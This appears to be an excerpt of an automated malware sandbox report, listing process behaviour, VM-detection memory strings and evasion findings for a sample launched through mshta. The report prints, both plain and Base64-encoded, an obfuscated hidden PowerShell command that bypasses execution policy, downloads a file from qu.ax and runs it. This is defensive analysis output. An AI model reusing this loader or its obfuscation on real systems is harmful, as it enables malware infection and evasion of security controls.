Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1039	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6871	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2829	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7013	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep time: -2767011611056431s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3196	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000012.00000002.2052060542.00000161534D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000014.00000002.2507940312.0000000008D20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll/
Source: powershell.exe, 00000014.00000002.2507940312.0000000008D8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%
Source: mshta.exe, 0000000F.00000002.2008104013.0000026534857000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: mshta.exe, 0000000F.00000002.2005879295.0000025D31DA8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWl

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','hidden','-ep','bypass','-nop','-Command','gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like''tomd''}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like''ome''}).Name).Invoke(''N-O'',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW ''https://qu.ax/TORof.bin'';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like''nlg''}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()'
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','hidden','-ep','bypass','-nop','-Command','gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like''tomd''}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like''ome''}).Name).Invoke(''N-O'',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW ''https://qu.ax/TORof.bin'';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like''nlg''}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()'			Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like'tomd'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like'ome'}).Name).Invoke('N-O',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like'nlg'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start powershell -w 1 -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4aiaataeeacgbnahuabqblag4adabmagkacwb0acaajwatahcajwasaccaaabpagqazablag4ajwasaccalqblahaajwasaccaygb5ahaayqbzahmajwasaccalqbuag8acaanacwajwataemabwbtag0ayqbuagqajwasaccazwbkahiaiaatacoaowbtaguadaatafyayqbyagkayqbiagwazqagaemaaqbvacaakaauacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4akaaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapahwatqblag0aygblahiafabxaggazqbyagualqbpagiaagblagmadab7acqaxwauae4ayqbtagualqbsagkaawblaccajwaqahqakgbvag0akgbkaccajwb9ackalgboageabqblackalgbjag4adgbvagsazqaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4akaaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4auabzae8aygbqaguaywb0ac4atqblahqaaabvagqacwb8afcaaablahiazqatae8aygbqaguaywb0ahsajabfac4atgbhag0azqatagwaaqbraguajwanacoabwbtacoazqanaccafqapac4atgbhag0azqapac4asqbuahyabwbraguakaanaccatgaqac0atwaqaccajwasacqavabsafuarqasacqavabsafuarqapacwawwbnageabgbhagcazqbtaguabgb0ac4aqqb1ahqabwbtageadabpag8abgauaemabwbtag0ayqbuagqavab5ahaazqbzaf0aoga6aemabqbkagwazqb0ackatgblahqalgbxaguaygbdagwaaqblag4adaapadsauwblahqalqbjahqazqbtacaavgbhahiaaqbhagiababladoalwbsafcaiaanaccaaab0ahqacabzadoalwavaheadqauageaeaavafqatwbsag8azgauagiaaqbuaccajwa7afsauwbjahiaaqbwahqaqgbsag8aywbraf0aoga6aemacgblageadablacgakabhaekaiabwageacgbpageaygbsaguaogbdagkavqapac4avgbhagwadqblac4akaaoacgakabhaekaiabwageacgbpageaygbsaguaogbdagkavqapac4avgbhagwadqblahwatqblag0aygblahiakqb8afcaaablahiazqatae8aygbqaguaywb0ahsajabfac4atgbhag0azqatagwaaqbraguajwanacoabgbsacoazwanaccafqapac4atgbhag0azqapac4asqbuahyabwbraguakaaoafyayqbyagkayqbiagwazqagagwavwapac4avgbhagwadqblackakqauaekabgb2ag8aawblafiazqb0ahuacgbuaeeacwbjahmakaapacca
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4aiaataeeacgbnahuabqblag4adabmagkacwb0acaajwatahcajwasaccaaabpagqazablag4ajwasaccalqblahaajwasaccaygb5ahaayqbzahmajwasaccalqbuag8acaanacwajwataemabwbtag0ayqbuagqajwasaccazwbkahiaiaatacoaowbtaguadaatafyayqbyagkayqbiagwazqagaemaaqbvacaakaauacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4akaaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapahwatqblag0aygblahiafabxaggazqbyagualqbpagiaagblagmadab7acqaxwauae4ayqbtagualqbsagkaawblaccajwaqahqakgbvag0akgbkaccajwb9ackalgboageabqblackalgbjag4adgbvagsazqaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4akaaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4auabzae8aygbqaguaywb0ac4atqblahqaaabvagqacwb8afcaaablahiazqatae8aygbqaguaywb0ahsajabfac4atgbhag0azqatagwaaqbraguajwanacoabwbtacoazqanaccafqapac4atgbhag0azqapac4asqbuahyabwbraguakaanaccatgaqac0atwaqaccajwasacqavabsafuarqasacqavabsafuarqapacwawwbnageabgbhagcazqbtaguabgb0ac4aqqb1ahqabwbtageadabpag8abgauaemabwbtag0ayqbuagqavab5ahaazqbzaf0aoga6aemabqbkagwazqb0ackatgblahqalgbxaguaygbdagwaaqblag4adaapadsauwblahqalqbjahqazqbtacaavgbhahiaaqbhagiababladoalwbsafcaiaanaccaaab0ahqacabzadoalwavaheadqauageaeaavafqatwbsag8azgauagiaaqbuaccajwa7afsauwbjahiaaqbwahqaqgbsag8aywbraf0aoga6aemacgblageadablacgakabhaekaiabwageacgbpageaygbsaguaogbdagkavqapac4avgbhagwadqblac4akaaoacgakabhaekaiabwageacgbpageaygbsaguaogbdagkavqapac4avgbhagwadqblahwatqblag0aygblahiakqb8afcaaablahiazqatae8aygbqaguaywb0ahsajabfac4atgbhag0azqatagwaaqbraguajwanacoabgbsacoazwanaccafqapac4atgbhag0azqapac4asqbuahyabwbraguakaaoafyayqbyagkayqbiagwazqagagwavwapac4avgbhagwadqblackakqauaekabgb2ag8aawblafiazqb0ahuacgbuaeeacwbjahmakaapacca
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -w hidden -ep bypass -nop -command gdr -;set-variable ciu (.$executioncontext.(($executioncontext\|member)[6].name).(($executioncontext.(($executioncontext\|member)[6].name)\|member\|where-object{$_.name-like'tomd'}).name).invoke($executioncontext.(($executioncontext\|member)[6].name).(($executioncontext.(($executioncontext\|member)[6].name).psobject.methods\|where-object{$_.name-like'ome'}).name).invoke('n-o',$true,$true),[management.automation.commandtypes]::cmdlet)net.webclient);set-item variable:/lw 'https://qu.ax/torof.bin';[scriptblock]::create((gi variable:ciu).value.((((gi variable:ciu).value\|member)\|where-object{$_.name-like'nlg'}).name).invoke((variable lw).value)).invokereturnasis()
